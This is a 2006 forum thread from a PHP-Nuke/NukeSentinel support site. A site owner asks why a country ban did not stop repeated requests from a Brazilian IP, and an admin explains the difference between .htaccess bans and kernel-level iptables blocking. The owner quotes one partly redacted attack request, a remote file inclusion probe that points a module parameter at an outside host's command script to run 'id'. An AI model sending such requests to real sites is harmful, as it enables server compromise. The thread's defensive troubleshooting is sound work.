How does Sentinel handles this ?

Sells PC To Pay For Divorce Joined: Posts: 5661

a question ...
i just had 5 simple attacks on a brasil ip (country that everybody should ban)
Attacks were on:
8:33:07 pm
8:34:38 pm
8:36:21 pm
8:37:58 pm
8:40:28 pm

they used it like...(its a bit altered)

Code:

//modules/xxxxxxxxx/public/xxxxxx.php?xxxx=basilsite.br/CMD.xxxxxx=id

Thing is,why is it even allowed to do anything at all since the whole country is banned?
And 5 times ?
Im using the very special templates.....lol
But i find it hard to believe thet rebooted 5 times in 7 minutes?

Site Admin/Owner Joined: Aug 27, 2002 Posts: 17088

The killer-pc templates have no effect on an automated attack, which I'm sure this is. They will only work if you are actually using a web browser.

If the IP's are banned in .htaccess then NukeSentinel will never see them. They will, of course, still appear on your server log. To get them off your server log, use iptables.

Posted: Wed Feb 08, 2006 2:25 pm

Hi raven ,well the situation is a bit different...
Its not from the log but from my 404 page,cause they are addressing an url/module that i dont even have.
And as for the banning....the country itself is banned but thats only by sentinel in the database..
And what you mean by "To get them off your server log, use iptables"?

Posted: Wed Feb 08, 2006 5:14 pm

Of course it would be in the log because all HTTP requests are recorder.

iptables works at the *nix kernel level and can block all packets coming from or going to a host/ip. Since it is blocked at the kernel level, it never goes anywhere.